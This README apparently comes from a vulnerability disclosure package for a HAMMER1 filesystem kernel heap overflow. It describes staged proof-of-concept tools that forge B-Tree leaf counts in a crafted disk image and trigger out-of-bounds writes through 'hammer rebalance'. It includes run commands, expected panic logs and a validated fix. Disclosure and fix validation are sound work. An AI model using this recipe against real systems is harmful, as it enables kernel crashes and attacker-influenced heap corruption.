# DF-3168 — hammer rebalance count-trust heap overflow

Crafted-image HAMMER1 B-Tree leaf with `count` > 63 (CRC recomputed by the
image author) → `hammer rebalance` (the HAMMER_IOC_REBALANCE ioctl behind
`hammer cleanup` / `hammer rebalance`) packs elements using the unvalidated
on-disk count, driving `avg_elms` past the 63-element `elms[]` array of the
kmalloc'd 4KB node copies → out-of-bounds kernel heap write.

## Contents

- `mkimage.sh`          — stage 1: build a legitimate 12G HAMMER1 image with
                          a multi-leaf B-Tree (~2500 dirents)
- `patch_leaf_rebal.c`  — stage 2: walk the image B-Tree, select a suitable
                          parent (first child-index at the root) and forge
                          `count=128` on its conforming non-first leaf
                          children (slice-0/1 leaves, in-buffer elms[127]
                          scan-read), re-CRC the nodes; `verify` mode reads
                          the counts back after a run
- `trigger.sh`          — stage 3: mount rw, `hammer rebalance`, umount,
                          verify, remount + search (panic expected on stock
                          kernel)
- `trigger_fix.sh`      — fix-validation variant (stops after verify)
- `console_full.log`    — FULL serial console of the baseline run
- `panic.txt`           — decisive excerpt (add count 128 ... _kfree_obj panic)
- `fixrun.log`          — full fixed-kernel run
- `build.log`           — guest build of patch_leaf_rebal
- `fix.diff`            — the validated fix (git-apply-able vs sys/)

## Build (in guest)

    cc -O2 -o /tmp/patch_leaf_rebal patch_leaf_rebal.c

## Run (in guest, as root)

    sh mkimage.sh
    /tmp/patch_leaf_rebal walk   /build/poc.img   # pick targets
    /tmp/patch_leaf_rebal patch  /build/poc.img   # forge count=128 + re-CRC
    sh trigger.sh                                  # baseline: panic

## Expected

Stock INVARIANTS kernel (baseline, `console_full.log`):

    rebalance_node: lockroot ... count 31
    rebalance_node: add count 128        (x14 -- unvalidated disk counts)
    rebalance_closeout: 8000000021000000: (count update) ... (x31)
    panic: assertion "slab->magic == KMALLOC_SLAB_MAGIC && delta != slab->ncount"
           failed in _kfree_obj at kern/kern_kmalloc.c:942
    _kfree_obj -> fdrop -> closef -> kern_close -> syscall2

The rebalance pack loop wrote 64-byte granules past the end of the 4096-byte
kmalloc'd `copy` buffers (base_count ran to avg_elms=76 > 63), corrupting
adjacent kernel heap / slab metadata; an unrelated close() syscall detected
it.  On production kernels (no INVARIANTS slab-magic check) the overflow is
silent → attacker-influenced heap corruption (see VERDICT.md for the
primitive characterization).

Fixed kernel (`fixrun.log`):

    hammer_ioc_rebalance: rebalance: bad node 8000000021004000 type L count 128
    Rebalance /mnt failed: Input/output error
    VERIFY: 14 out-of-bounds counts found     (only the leaves we forged)
